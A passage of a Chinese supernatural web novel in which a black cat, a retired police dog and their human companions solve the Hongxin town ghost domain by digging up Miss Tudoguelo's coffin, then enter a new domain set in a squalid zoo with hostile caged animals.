然而在他被丢入大海的那个夜晚,伯爵家同样以家族荣誉的名义,处决了自己的女儿。她的尸体被丢在郊外,没有资格立碑,但在孤零零的坟茔前,长出一小株玫瑰,花朵鲜红,像颗不死的红心。 他放弃了警长的身份,与伯爵在坟墓前进行一场决斗。 完成自己的复仇后,他在坟墓旁开始种玫瑰花,日复一日、年复一年,直到老去。 小咪歪头,看着石碑上的名字,碑上刻着的是异国文字,但由于鬼域的特殊性,就算是小猫,也能读懂上面的字。 “亲爱的图多盖洛。 在玫瑰盛开之地,会有一座爱之城, 在那里,每一对相爱之人都能自由相拥, 请先过去, 我随后就来。 永远爱你的富尔门。 ” “喵呜。” 小咪惊讶地瞪圆眼睛,爪爪拍着闪电的鼻头。 快看快看,是咪和汪。 不对,应该说是它们拿了图多盖洛和富尔门的身份。 镇长说得不错,在不被允许拥有爱情的年代,小镇是由于“相爱的人都能在一起”这样美好的愿望而诞生。 在爱之城,小咪拥有对她很好,愿意为她牺牲一切的家人,这与现实截然相反,同样是小镇给予图多盖洛的温柔。 小咪耳朵抖了抖,对着闪电歪歪头。 德警官也歪歪头,兔子一样的耳朵晃荡。 “喵呜?” 如果镇长是真正的富尔门,那真正的图多盖洛小姐,会在哪里? 第99章 真正的图多盖洛小姐, 会在哪里呢,变成了小镇上的哪个居民? 它们用了图多盖洛和富尔门的身份,所以图多盖洛小姐是没有自己的名字的。她可能已经在咪的眼前出现过了, 以某个身份、某个概念的方式。 她会是谁呢?咪听说过她吗? 小咪跳到墓碑上,蓬松的大尾巴在石刻的铭语甩来甩去,回忆着舞会与婚礼见过的镇民。 想啊! 猫的脑袋快想啊! 尾巴根突然被舔了一下, 热烘烘的气体擦过敏感的尾巴根,它弹跳起来,身体像弓一样弓起,四只爪爪搭在狭窄的墓碑顶端,瞪圆眼睛,惊恐地回头。但在看到舔自己的“人”后,它的尾巴像旗杆般翘起,喵呜喵呜叫, 埋怨狗子不懂猫之间的社交礼仪。 “汪汪。”闪电提醒,图多盖洛小姐的尸体, 不应该在坟墓里吗? 对哦。 红心镇没有墓园, 也没有坟墓。 这座爱之城有意隔绝了死亡, 眼前是小咪在城里见过的第一座坟墓。死去的人,应该埋在了墓里。 小咪“喵呜”一声,抬起爪爪开干。 两只爪子轮流刨土, 刨得尘土飞扬, 刨出一个巴掌大、浅浅的坑。 要等到鸡吃完米, 狗舔完面, 火烧断锁,猫才能刨开这座坟墓。 闪电也想来帮忙,但它是独臂, 挖坑效率比猫还低。 蕾贝卡看着猫猫狗狗努力工作,僵硬的嘴角忍不住上扬,缓慢地弯下腰,腰部木质化的肌肉因挤压,发出树枝折裂的声音。 “咔嚓咔嚓。” 几乎把自己折成了两半,费劲弯下腰,僵硬畸变的手指插入坟丘里,就像铲子一样方便。 小咪也意识到,靠猫的爪子不知道要刨到什么时候,要变成人类才比较方便。于是图多盖洛小姐与富尔门警长一人拿着一把铲子,站在坟墓前,齐心协力挖坟。 坟土一把一把往外扬,洞越挖越深,终于,小咪手里的铲子碰到了硬邦邦的东西,发出“砰”一声厚实响声。 拨开坟土,一口黑色的棺材出现在他们眼中。 蕾贝卡把棺材板给小猫小狗掀开。 “咪呜。”毛毛沾满泥巴,灰头土脸的小黑猫激动地探出脑袋,但看清棺材里景象时,它疑惑地歪了下脑袋。 棺材里没有人; 棺材底板铺着厚厚一层灰尘,尘土上有一个人形的痕迹,像是有一个人曾经躺在了这里。 “咪呜。”小咪觉得形状有些眼熟。 蕾贝卡啊了声,从背包里找出一张羊皮卷,小镇的地图绘制在羊皮上。 当第一次看见这张地图,小咪就觉得红心镇很像一个躺着的人,而如今比对I地图与墓里的人形痕迹,更确定这点。 真正的图多盖洛小姐,就在他们的脚下。 她就是红心镇! 教堂是她心脏的位置,教堂里的玫瑰圣树是她的心脏,只是她身体的一部分,就算把玫瑰树收容,也没有办法解开这个鬼域。 小咪跳了起来,想折回去告诉人类这点,但跑到一半,它停下来,回头看着棺材发呆。 如果图多盖洛小姐是红心镇,那么,他们现在在哪里呢? 小咪舔了舔鼻子,抬头往上看。 天空明亮,明晃晃的太阳就挂在空中,照耀着被一片甜蜜香雾围绕的小镇。 不对。 小咪喵呜了声,跑到了一个黄铜水盆前,盆里并没有水,猫直接跳进去,闪电也跟着跳进来。 “喵呜。”小咪被挤得只能把脑袋搭在盆边缘,气得咬了狗子一口,咬到一嘴狗毛。第二条命覆盖在黄铜盆上,盆长出鸟一样的双翅,带着它们飞到天上。 日光炙烤着黄铜,盆却没有变的滚烫,依旧是冷冷的温度。 盆越来越高,小咪伸出脑袋往下看,地面上的蕾贝卡只剩很小的一个点,整座小镇的轮廓更加清晰—— 和棺材里的人形痕迹吻合,像个躺在地上沉眠的女人。 一只大爪子伸在猫的面前,把它往里面带了带。 小咪被带得扭头,栽在了闪电的肚子上。这时,它才发现狗子坐得笔直,身体僵硬。 室友好像说过,狗是畏高的动物。 闪电用爪爪又拨了拨,轻轻把小猫带进自己身体下。 小咪抬起头,看着大狗,德警官坐姿笔挺,表情严肃,根本看不出它在害怕。但它的下巴抬起,眼睛往天,根本不敢往下看。 “喵喵喵。”小咪大声叫它。 德警官垂眸看它一眼,目光从小猫脸上移到了铜盆边缘,看见了百米下的红心镇。它马上移开视线,依旧抬头看天,身体忍不住微微发抖,但坚持按住小猫,把它带到自己的身体下。 “喵——” 猫才不怕高。 猫可以保护你! 高度继续上升。 红心镇的天空也是淡淡的玫红色,但当升到某一个高度,它听见啪嗒一声,就像飞盆穿越一个泡沫,四周骤然变得黑暗,玫瑰花香消失不见,取而代之的,是一种阴冷腐烂的气味。 小咪低头往下看,底下的红心镇陷在淡红雾气里,而它仰起小脑袋往上看,上空只有一片漆黑的黑夜。 它的头碰触到了实物,冷硬、黑暗。 “喵呜。”小咪把头在闪电厚实的胸毛上蹭了蹭,说:猫明白啦。 小镇无处不在的玫瑰花香编织了一个美好的幻境,其实,如果往上面飞,穿越这层红雾,很容易发现端倪。 爱之城连阳光都是假的。而头顶这片黑暗,也不是真正的天空,是一块厚实沉重的棺材板。 他们在图多盖洛小姐的坟墓里! 小咪开始往上跳。 “汪?”闪电不解地看着它。 小猫每跳一下,头顶撞在棺材板,发出清脆的响声。 “咚!咚!咚!” 它坚持不懈地起跳,想把棺材板顶翻。 小猫的眼睛变成三角形,表情坚毅无比。 闪电被它感染,忘记自己畏高的事实,身体往上一伸,一头撞在棺材板上,发出特别清脆的一声。 铜盆却因为它们的动作开始晃悠,失去平衡,似惊涛骇浪中一叶小舟,剧烈晃动。小咪闪电紧紧贴在了一起,看着纹丝不动的棺材板发愁。 快要掉下去时,两只人类的手出现在了棺材板上。 一只是少女的手,纤细、白皙,指甲圆润, 一只是军人的手,充满力量感,布满伤痕与老茧。 是它们的影子的手。 也是图多盖洛小姐与富尔门警长的手。 两只手覆盖在一起,同时使力,头顶漆黑的天被推开一条缝隙,金色的、灿烂的,火一样的阳光如瀑布倾泻而下。 小咪被阳光灼得瞳孔紧缩,变成一条线,漆黑的毛发马上感受到热意,变得暖洋洋的。 这是真正的阳光。 ———— 教堂中。 伯爵一家拦住暴怒的镇民,为人类争取了时间,谢临风把裹尸布摊开,围着玫瑰树绕一圈。 夏炫举枪射击,子弹精准将镇民爆头,却杀不死这些愈合能力极强的怪物。镇民们的包围圈越来越小,他们被逼到玫瑰树下,拿起各自武器防御。 裹尸布扣上的一刻,玫瑰树猛地摇晃,大朵大朵的玫瑰花掉了下来。 “为什么没有用?”谢临风面孔惨白,“这棵玫瑰树不是这里的污染物?我们猜错了?忽略了什么呢?” 夏炫灵光一闪,“是镇长!” 他们都下意识忽略了镇长! 但现在他们被全镇的居民围住,马上就要被愤怒疯狂的镇民撕碎。夏炫环顾一周,没找到镇长,却看见了伯爵一家人。 两个女孩的裙子破破烂烂,被血染红,夏洛特的剪刀咔嚓咔嚓,剪掉镇民的四肢,莉兹的脚边滚着一地的棉花娃娃。 “图多盖洛去哪儿了呢?”夏洛特有些力竭,靠着树,喃喃发问。 “小妹妹和她的新郎跑出去了,幸好港口有船,他们可以坐船去海上旅行。”莉兹温柔地说。 夏洛特:“那本来是妈妈为我准备的船!”她鼓起双腮,片刻,轻轻呼出口气,“好吧,如果是小妹妹的话,可以坐我的船。” 莉兹篮子里的毛线球与缝衣针已经告罄。空篮子掉在地上,她合起双手,像结婚典礼时,真挚地在玫瑰树下祈祷:“请让我们的小妹妹获得幸福吧,我愿向您展开我的胸膛,让您看见我最赤忱的爱。” 对她们小妹妹的爱。 镇民们突破伯爵的钻石手杖,朝着他们扑过来,莉兹轻轻叹了口气,闭上眼睛。 炽烈的光线透过眼皮,刺得眼球生疼。 她勉强将眼睛睁开一条线,马上被光线刺激,流出了两行泪水。小镇沐浴在强烈的光线里,四周金光闪闪,好像来到了天国。 “咪咪!”她听见旁边的人类欣喜地叫。 莉兹抬起手放在眼睛上,眯眼往上看,自己的小妹妹和富尔门警长坐在一艘船上,船行在一片金色的海浪里。 图多盖洛坐在木质船舷上,膝盖趴一只小黑猫,富尔门警长站在她身后,大手扣住她的腰。 哈特他们也跳到了船板上,船扬起了帆,马上要启航。 “喵喵喵——”她听见图多盖洛告别的声音,少女举起了手,在阳光里挥舞。 “小妹妹!”莉兹大声喊。 “喵喵喵。”小咪对“家人们”说再见。 “姐姐,我身上的刺消失了。”夏洛特瞪大眼睛,检查身体,愕然地说。红心镇的镇民们也停止攻击,站在金色的阳光里,感受到有什么不同。 鲜花与尖刺都在阳光里消融,红心镇虚假的规则在此刻被扯碎。 伯爵一家人抬起头,久久地凝望着天空,金色的阳光海浪推着船远去,扬起的帆变作天空一个小点,直至再见看不见。 小咪纵身一跳,跳出了棺材。几个人跟在它的后面爬了出来,外面是片灿烂的玫瑰海,被掀开的棺材里静静躺着一副白骨,而棺材外有一个躺椅,椅上同样坐着一副白骨,白骨衣着和镇长一样。 “我们一开始进入的居然不是真正的鬼域,是鬼域里的一个棺材。”夏炫心有余悸,俯身摸摸小黑猫的头,微笑着说:“幸好有你,咪咪。” “喵呜~”小咪打了个大大的哈欠,跳到了镇长的膝盖上。 真正的富尔门先生已经变成白骨,猫跳上去时,躺椅嘎吱摇晃,吓了几个人一跳。 “咪咪你呀,咦,你的脑袋怎么尖尖的?是肿了个包嘛。” 这个鬼域最凶险的地方已经结束,在离开棺材后,他们很快就找到污染物,用裹尸布把整个棺材包起。为了成全富尔门与图多盖洛,他们还贴心地把镇长的骨头挪进了棺材里,和图多盖洛小姐躺在一起。 棺材盖再次被合上前,小咪歪着脸,往里面看了一眼。 在棺材里依旧能看见一些红心镇的幻影。它看见一片笼罩着月色,泛着银色微澜的海洋,看见伯爵一家站在港口,挥手送别,而在海洋上,有一艘船正扬帆启航。 船上站着两个姑娘,一个红发鲜艳如火,是二姐姐夏洛特;而另外一位美丽动人的姑娘背着火枪,穿航海士的服装,手拿航海图。 夏洛特拿着一副望远镜到处看,望远镜头一转,看向了天空。 在漆黑的夜空上,在银色月亮两边,她看见了两个金灿灿的圆圈。 像是太阳,中间却有一条黑色的竖线。 又像是…… 图多盖洛的眼睛。 夏洛特心中冷不丁地闪过这念头,连忙对岸上的人比划,让他们一起看天。小咪对着他们轻轻眨眼,猫猫脸融入漆黑夜色里,只有两个金色的“太阳”,安静地凝视着海船启航,和家人一起送姐姐远行。 第100章 夏双双拿起一朵鲜红的玫瑰花。 花就放在了图多盖洛小姐的棺材上, 位置显目。但如果他们没办法跳出棺材,离开红心镇,就无法发现这朵花。 “还得是我们咪咪厉害呀, 也多亏闪电,汪汪队立大功!”夏炫蹲下来,从口袋拿出一截宠物肉肠, 掰成两段,分给小猫小狗吃。 闪电嘴巴一张,半截肉肠飞进它嘴里,马上不见影了,连吞都不用吞。而小猫却要趴在地上,伸出舌头,小口小口舔肠,半天才把肉肠舔掉一小层。 “不愧是咱伯爵小姐,吃饭就是斯文。”夏炫抬手,摸摸小咪的脑袋,却摸到一个略硬的小包,他“咦”了声,仔细看着,小猫被毛发覆盖的头顶,有一个花生仁大的小隆起,让两只耳朵之间那截弧线愈发圆润了。 “狸大人怎么戴上自己的小帽子?哦,不是小帽子, ”他弯了弯眼睛,笑问:“狸大人的脑袋是被蜜蜂叮了一个包吗?” 再一看,闪电的额头也拱起一个包,让它有些像个寿星公。 猫的痛觉比较钝感,小咪倒不是很疼,但人温热的掌心从头顶拂过,轻擦肿起的包,它还是觉得不太舒服,不再舔肉肠,对着人喵喵叫。 猫是为了撞翻棺材,头顶才肿起包的。 面前的人类眼神瞬间变了。 黑色的眼睛湿漉漉的,像在下一场雨。 他眨了眨眼睛,睫毛轻扇,愣了半分钟,才把小猫一把抱起,像抱个毛绒玩偶一样搂在怀里。 “呜呜呜咪咪,怎么会有你这样好的小猫。” “亲一口!再亲一口!” “图多盖洛小姐就算脑袋顶个包,也是我心里最可爱的姑娘。” “咪咪咪咪,嘬嘬——” 小咪抬起爪爪,肉垫抵在人类的嘴唇上,面无表情扭过脸。 早知道人的反应这么大,它就不说了。 好烦,要被口水打湿毛了。 三个人轮流把小猫小狗亲了个遍。 闪电咧嘴,吐出截舌头,尾巴飞快地摇动,眼睛里透着兴奋,只是它经过训练,性格稳重,才不会像其他狗子一样扑到人身上求摸摸。 而小咪的表情截然相反。 小黑猫垮起猫猫脸,眼睛透着不耐烦,一只爪爪抵住夏炫的脸,后爪使劲蹬着谢临风的嘴。 人,够了,够了。 再亲就冒昧了。 玫瑰园的污染被解除,79楼渐渐恢复原来的模样。 崔姜虚弱地靠在休息区沙发上,对几人说:“我在这里休息一会就好,你们不要管我,先上去找队长他们吧。” “喵呜。”小咪踩在她的腿上,前爪趴着她的胸口,探头嗅嗅人身上的气息。 人的肌肤温暖,小猫的鼻子冰冰凉凉。 崔姜忍不住伸出双臂,环住了小猫,深吸一口它身上独属于小猫的味。毛发里透出热烘烘的气味里多了段淡淡的花香,抚平人身上的伤痛疲倦。 “咪咪。”她低头,亲了亲小咪的鼻子,“谢谢你呀。” “喵。”小咪的尾巴绕着女孩的手腕,偏头用脸颊蹭了蹭她的手。 “咪咪你要和我留在这里吗?这儿会安全一点。” “喵!”猫要上楼。 崔姜担忧地皱了皱眉,犹豫片刻,还是慢慢松开手,让小猫从怀里跳出。 就算是只一岁多的小猫,他们也应该尊重它。 “没关系,我们咪姐很厉害呢。要不是有小猫在,我们说不定就团灭了。” 夏炫安慰着崔姜,说的也是实话。 怎么想,都是小猫在罩着他们。 他俯下身,拍拍肩膀,小咪就跳到自己的专属座位上,毛茸茸的尾巴绕人类后颈一圈。 “喵呜~” 小咪和崔姜告别,坐在人身上,继续往前走。 舔了下爪子,它觉得不对,抬起肉垫在夏炫的脸上拍了拍。 夏炫问:“咪咪,什么事?” “喵啊。”它低下小脑袋,看着跟在人身边走的闪电,狗子缺了一条前臂,走路一瘸一拐。 “咪咪,你是想我背着闪电?” “喵!” 夏炫无奈地笑了下,“好嘛,我成了你们的专属坐骑啦。” 但他心里乐开了花,表情骄傲,背着大狗顶着小猫,对另外两个人无声炫耀。看,它们更爱我! 两个人读懂了他的眼神炫耀,心里泛起一阵酸意。 谢临风把袖子里睡觉的小鸟拉出来,放在掌心揉了揉,“哼,我有鸟。” 戏精:“丑拒!丑拒!” ———— 他们又往上走几楼。 上面的楼层是正常的,不再有成型的鬼域,在一番有惊无险中,一行人来到了八十层。 “这栋楼有多少层楼来着?”谢临风问。 夏炫:“一百楼,最上面那层是董事长办公室,以前大厦建成的时候还上过本地新闻。” “还有二十层啊。希望上面没再有什么污染物了,能让我们我们顺利走上去吧。你们说,到底是什么东西,能唤醒远古的诡异,让整个城市都会被拉入暗世界?” 小咪本来在低头舔爪爪,在挖坟时,它的爪爪踩在泥巴里,肉垫缝隙藏了泥土和小沙子。它又舔又咬,把爪子每个角落都舔干净,脚毛也被舔得湿漉漉的,一边认真舔爪,一边漫不经心听人说话。 听见这句话,小猫的耳朵往后瞥,抬起了小脑袋,“喵呜。” 猫的声音轻轻的,擦着夏炫的耳朵飘过。 “咪咪,怎么啦?” “喵呜。”小咪想起了寐城里,薛静秋给他们的提醒。 夏炫越来越能听懂猫语,想到薛静秋的话,他的心沉了下来,“是这样吗?那可糟了,不只是红竹市一座城市的事了。” “咪呜。”小咪附和。 “你们咪咪呜呜在说什么呢?”谢临风:“能不能说点人能听懂的?” 夏炫没心思和他再开玩笑,“小咪在提醒我一件事,鬼域里,曾经有一个朋友告诉过我一些关于血月降临的事情。如果……这次我们失败了,红竹市沦陷,很有可能会拉开血月降临的序幕。” “血月降临,嘶——” 精卫小队两位年轻队员倒吸一口凉气。 “你是说,暗世界夜空那个,一照就会让人溶化成一滩血肉烂泥的血月亮,会来到我们的世界?” 夏炫面孔苍白,轻轻点头。 “那我们的世界会怎么样?变成暗世界那副鬼样子,诡异复苏,哪里都是鬼,鬼比活人多?” 夏炫又轻轻点了点头。 一时间,几个人都没有说话。 四周变得安静极了,只要小猫吧唧吧唧舔毛的声音。 小咪没心没肺舔着毛,安静了好像很久,又好像只一两分钟,它抬起头,“喵呜?” 人类的面色很白,表情恍惚。 身在红竹市污染中心,前方凶险万分,或许下一层就会遇到鬼域,葬身其中。 但他们还是忍不住在想象血月降临的情景,想到了自己的亲人、好友、市民、同胞,全人类…… 血月降临,是关乎全人类命运的事。 “我们一定要阻止它。”谢临风捏捏眉心,白石市离红竹市也不远,他爸妈还在白石生活呢。他叹口气,心里笼上一层阴霾,“但真的能阻止得了吗?” 夏双双沉默着,不知在想些什么,走了十来步,她扭过头,黑沉的眼睛看向夏炫,“你的朋友怎么知道这件事?” “这……”夏炫歪脸,蹭着小猫,涩然说:“她生活在一个血月降临的年代,在一千多年前。” “那时候是什么样的?”谢临风心里发愁,“很多鬼吧,还有活人吗?” “当然有人,不然我们哪里来的?石头缝里蹦出来的?” “是、是哦。” 就算是在没有科技、落后愚蒙的时代,人类也从未在诡异的屠戮中断绝。 夏双双抚摸胸前属于研究所的标识,眼神渐渐坚定,“千年前先辈们能在诡异时代延续,我们一定也可以,用不着悲观。想这么多没用,往前走吧。” 小咪:“喵~” 小猫的脑袋听得似懂非懂。听人类的语气,他们好像在害怕血月降临。 就算血月降临,猫应该也有耗子吃吧? 猫是很能养活自己的! 但人类似乎在诡异年代不太好过,猫是不是还要努力养铲屎官?他们会吃耗子吗? 人类啊,很挑食,不太好养。 小咪又想,如果它打赢隔壁的几只猫,收编流浪猫队伍,变成嘉木新村老大,带着所有的猫一起抓耗子,能养活人类吗? 好像也有点难哦。 猫决定,如果到那个时候,也不能让人闲着。 他们还是要努力工作,生产耗子口味的冻干和罐头。 要让人工作多久呢? 小咪舔舔鼻子,粉红的爪爪合拢又松开,认真算数。 一天二十四小时,睡要很久,玩要很久,吃饭也要很久。 让人工作两个小时吧。 小咪在心里把人类安排得明明白白。 回过神时,三个人已经带着它往上爬了几楼,大楼里弥漫着尸臭的味道,路途经常看见扑地尸体,幸好没有愚公小队的队员。 谢临风又推开一扇门。 光线骤然明亮,不再是布满尸体的办公大楼。 “打起精神点,要进鬼域了。” “喵呜。”小咪在人的头顶伸了个懒腰,身体抻直,从夏炫头顶滚下来。 夏炫连忙腾出一只手,抱住滚下来的小猫。 “喵。”小黑猫瞪着圆圆的眼睛看他。 人,你愿意每天工作两个小时吗? “咪咪,什么意思?”夏炫有点没听懂。 “喵!” 小咪后爪一蹬,从他的怀里跳出来,跃入半开的门里。 算了,猫想好了。 如果是它的铲屎官,可以不工作,只用梳梳毛、摸摸猫的头就行了,猫愿意养着他们。 100-110 第101章 跳入门内, 小咪眼前一黑,一阵眩晕。它并拢爪爪,乖巧坐好, 熟练进入鬼域。 眼前是条走廊,猫坐在一条椅子上。 椅背粘腻,有种刺鼻的气味,它抬起肉垫,爪爪抖了抖,甩走爪子上沾的水。 把爪爪甩干净后,小咪看着脏兮兮的座位,召出了自己影子,跳在了少女的怀里。 身边的门突然打开,里面传来声音。 “到你了,进来吧。” “喵呜~” 少女抱猫,推门走入房间。这是间四四方方的房间,墙壁地面都砌粉红瓷砖,上面爬着绿苔,空气里弥漫粘腻而潮湿的刺激性气体。 小猫被臭气熏得两眼放空, 把脑袋钻进【第二条命】的怀里,耳朵后撇。 少女伸出手,将衣服盖住猫,替它遮挡臭味。 “你以前养过动物吗?” 坐在办公桌后的男人头也不抬,问。 “动物?” “是啊, 你不是来应聘饲养员的吗?” 她歪头, 猫眼圆圆,认真想了想,猫也是动物, 猫能把自己养得油光水滑,健康强壮。于是她点头,“养过。” “行,那就在合同上签字吧,我们动物园包食宿,待会有人带你去住宿区,今天天色不早,明天再跟着人去干活吧。” 他叽里咕噜说完一串,扯了张纸,“行的话就来按个手印吧。” 按手印的话,就是签订契约了,猫之间没有合同契约这种东西,它也从来不遵守契约。 小咪思考人类常识,从少女怀里探出小脑袋,瞄了眼合同内容。 密密麻麻的字钻进猫的小脑袋里,看得它有点懵。 “不愿意签就回去!”园长不耐烦地说:“我们这可不缺人。” 他拿起旁边一叠合同,朝猫甩了甩,在合同上,小咪看见了其他人的姓名和手印。 它大声“喵”了下,抬起前爪,悬在红印泥上,认真按下个梅花爪印。 园长大手一挥,“走那扇门,去外面等一等。” 小咪走出去,外面同样是一条走廊,夏炫他们就站在门外,身上穿着件蓝色的马甲。 “咪咪!”夏炫高兴招手。 谢临风循声看去,忍不住眼前一亮,袖子里的鹦鹉钻出来,高兴地说:“嗨~美女~交个朋友~” 少女五官精致,眼睛圆钝,鼻子嘴巴偏小巧,看模样异常机灵可爱。她同样穿着件蓝马甲,成为了动物园的员工。 “咦,这女孩是?” “是咪咪的影子。” 谢临风瞪大眼睛,不可置信地说:“影子?” 太离谱了吧,小猫有影子已经很离谱了,影子居然还是这么个可爱漂亮的女孩。难怪在红心镇上,所有人都觉得图多盖洛小姐是最可爱迷人的姑娘呢。 “喵呜~”小咪跳到夏炫怀里,打了个滚。 没多久,一个独臂青年也推门,从园长办公室里走了出来,长睫轻扇,褐色眼睛蜻蜓点水掠过众人,落在了小黑猫的身上。 他安静地走过去,小咪后爪蹬着夏炫手臂,跳到了他怀里。 夏炫“哎”一声,心里不是滋味,“闪电?” 青年无声点头。 他的胸口和众人一样,挂着员工工牌,上面名字是“谢鸣。” “这个名字……怎么有点耳熟?”夏炫想了会,“闪电,这是你训导员是吧?” 闪电又轻轻点头。 夏炫听赵峥峥他们治安局的提起过,闪电的训导员在执行一次非常危险任务里牺牲,它也重伤截肢,因此才退役,被治安局领养,开启退休养老生活。 小狗原来会一直记得自己的训导员吗? 要是他们在鬼域里牺牲了,他家咪咪会记得他们吗? 也不一定,猫的脑袋比狗要小一圈,记性应该也没那么好。何况,这么小的脑袋,最好永远装着开心幸福,不要经历悲伤离别了。 夏炫突然有点伤感,连忙甩了甩脑袋,对其他两个人说:“你们刚才看了合同内容吗?” 谢临风从小猫小狗大变活人的震撼里回神,“看了,把我们当牛马畜生的霸王合同。” 合同里说动物园包食宿,员工负责照顾动物,但是,根本没有提工资这一回事。 他们三个人都向园长提出这个问题,园长的态度也很一致——爱签签,不签滚,门就在身后,随时可以走。 都已经到这层了,不可能真的扭头就走转身回家,他们见园长这边态度坚定,只好签下自己的名字。 “这是间动物园,我们是新入职的动物饲养员?”夏炫嫌弃地皱眉,打量着布满污垢的墙壁,“这家动物园环境不怎么好,动物的生存环境有点恶劣啊。” 空气里弥漫着无处不在的刺激性气味,酸臭、刺鼻,黏糊糊的。 走廊外就挂着层铁网,铁网生了锈,夏炫透过网格往外看,动物园里瞧不见多少翠绿青葱,只有一片片被铁网围起的区域。 “不止,”夏双双补充,“我们没有专业的技能,可还是被园长录进来了。整个招聘的过程相当潦草,虽然不是专业人士,但我记得,想要在动物园工作需要不少条件吧。” 谢临风“嗯”了声,“先是学历,有的动物园学历卡比较高,读的专业也需要和动物有关,动物科学、动物医学、动物营养学之类的,还需要证书、饲养经验,如果没有经验的,还需要培训才能入职。” 和正规园区一对比,这家动物园就显得相当不专业,也不负责。 “你怎么知道这么多?”夏双双惊讶地看他。 谢临风:“我小时候的梦想可是当动物饲养员,要不是倒霉撞鬼,说不定我现在就是个专业的铲屎官了。” “要是正规专业,这家动物园也不会进鬼域了。刚刚合同上写的名字是小河吧?小河动物园?你们在听过这名字吗?” 另外两人摇头。 现在得到的线索太少,只能在园里更进一步探索,才能得到更多信息。 “动物应该不难养吧?我还没养过宠物呢,要是不小心把动物养死,该不会触发鬼域的死亡条件?” “你不是把小猫养得挺好吗?” 夏炫:“ big胆!咪咪怎么可能是宠物,再说了……” 明明是咪咪把人养得很好。 正聊天,负责带他们去休息区的老员工也过来了。她同样穿件蓝色背心,衣服已经穿很久了,颜色黯淡发白,衣上布满一些污渍斑点。 女人很瘦,瘦得像一具骷髅撑着人皮,对几人点头,幽幽说:“我带你们去睡觉的地方。” 小咪扒拉闪电坚实有力的手臂,探出头,好奇打量女人。 她胸口的名字叫潘新月。 潘新月。 小咪轻轻含住青年修长手指,心中想,猫好像听过这个名字。 潘新月瘦得像一阵风就能刮到,走路慢悠悠的,说话也喘不上气。她和人交流的意愿极低,只埋头带路,不愿意开口。 几个人撬不开她的嘴,于是便观察四周环境。 和他们想的一样,小河动物园的环境很差,设施落后。隔绝他们与动物的铁网密而细,与道路隔着小段长满荒草的隔离带,谢临风小心拨开草,脸贴着铁网,往里面望。 他马上惊出一身冷汗。 里面有只圆圆的眼睛,紧贴铁网,也在无声凝视他们。 装在这里的是只大棕熊,鼻上有道浅色的伤疤,它的眼睛圆,却不像小猫一样显得可爱。 谢临风浑身发冷,头一次,在一只动物目光中感受到股冰冷的杀意。 一只比他头还大、蒲扇般的巴掌重重拍在铁网上,大棕熊朝他们低吼,扯得铁网剧烈晃动。 “你干什么?”潘新月喝止,“离它们远一点。它很危险。” 谢临风回到路上,和同伴视线交流。夏炫负责和潘新月搭话,吸引注意力,另外两个人悄悄拨开杂草,观察网里装着的动物。 老虎、狮子、狼、银背大猩猩…… 每一个动物都和那头棕熊一样,脸贴铁网,冷冷看着他们,目光充满仇恨。 几个人都意识到一件事。 如果能够翻出铁网,猛兽们一定会把他们撕碎。 他们忍不住观察铁网,那是一张铁丝攒成的、网格形状的大网,薄薄的,纸一样。这张网真的能拦住笼中凶戾的猛兽吗? 人类心里浮上这样的担心。 在路过一个笼舍前,潘新月绕了下路,加快脚步。跟在她身后的几个人没反应过来,经过铁网时,一泡气味浓厚的液体从网中飚出,飚飞一米多远,把几个人浇灌个遍。 “这是什么啊?好臭。” 潘新月隔得远远的,语气没什么起伏,“是一只老虎,它的领地意识很强。” 周围的铁笼剧烈晃动,一只巨大的爪子扣着铁网,里面发出震天撼地的咆哮。 潘新月面孔惨白,吓得全身颤抖,另外几个人好一点,也忍不住捂住耳朵。 四周安静极了,其他笼中的猛兽不敢再嘶吼,在百兽之王面前俯首低头。 夏炫盯着那只从黑暗中冒出的硕大爪子,心里比划这头猛虎的大小:至少得三米多长吧。 如果这头猛虎跑出来了…… 他就可以一个滑铲,撑爆它的肚子。 他忍不住退了几步,却在可怖的虎啸中听见了哈气声。低头往下看,一只小黑猫站在庞然巨兽面前,毫不客气地哈着气。 “没有礼貌!” “差点尿到猫的尾巴上了!” “你们这些外地帮派,这么没有礼貌的嘛!” “叫什么叫,再叫你也和咪一样,是一只猫,就是比咪稍微大一点点。” 小咪骂骂咧咧地对着它叫,骂了一会,为报一尿之仇,也翘起尾巴,对着铁网来了一次,标记上自己的气味。 “喵!” 第102章 明晃晃的挑衅行为让笼中巨兽陷入癫狂,铁网被疯狂撕扯,像随时都会不堪重负裂开。 闪电把小猫重新抱在怀里,猫趴着他的手臂,尾巴不满甩动,对着笼子大声哈气。 “哈——” 笼子里的巨兽也趴下来,脸贴在铁网前。它庞大的身体隐于身后的昏暗中,一张布满橘红艳丽花纹的圆脸正对几人,黑色眼线上吊,艳煞凶狠的眼睛瞪得圆圆,对着小咪张开嘴,“哈!” “哈!” “哈——!” 几个人类突然觉得笼中猛兽也没那么可怕了——只是个喜欢哈气的大猫罢了! 当然,这是在它被关在笼子里,与人保持一网的礼貌距离的前提下。 “好啦好啦,咪咪,狸大人大咪有大量,别生气了。”夏炫用手遮住了小咪的嘴巴,手指轻点它湿润Q弹的鼻子,小猫被人类冒昧的举动弄得忘记了哈气,小脑袋一个劲往后缩,柔软温暖的毛毛擦过掌心,夏炫张开手掌,一把将它的小脑袋包在手掌心, “咪咪,你的头好小,我都能包起来。” “咪!”小咪闭上眼睛,微抬起下巴,感受手指挠过脸颊。人比大猫还没有边界感,经常冒犯到咪,比如这样,突然伸出一张比咪头都大的手掌,把它的脸整个包起来,又或者将整张脸埋在它的肚皮上,埋头猛吸。 看着眼前对自己笑的眼睛,小咪心里气消了不少,嘴里咪呜骂两句,喉头却忍不住发出响亮的呼噜声。 潘新月站在十几步开外,面孔惨白地瞪着他们,好像看见什么不可思议的事情。 “咪——喵?” 潘新月抱住双臂,手指挠着手臂,几个人注意到,她的指甲磨损很严重,指头结痂又破了皮,渗出淡黄色的脓液。 “你得罪它了。”她对小猫说。 “喵?” 潘新月神经质地扣着身上结痂疤痕,抠掉一块漆黑的痂,放在嘴里,当零食一样吃下去。 几个人不约而同皱了下眉,觉得这女人或许精神有些问题。 潘新月吞下身上抠的痂,对小咪挤出一个笑容,贴骨的皮扯动,凹陷眼窝里,两颗眼珠子死死盯着小猫,没有一丝笑意。 就算是小咪脑子不大,也能察觉到女人笑容里不怀好意。 夏炫往前走一步,挡在小咪的面前,“得罪又怎么了?它难道会越狱吗?” 如果猛兽越狱,最该担心的也不是小猫,而是他们这群人类员工吧。 潘新月没有回答他的问题,转身继续往前走,“快去宿舍吧,天快黑了。” “天黑会发生什么吗?” “回去太晚,同事们会把晚餐全吃完,不给我们留的。” 本来以为找到一点线索的几人:…… 好朴实的理由! 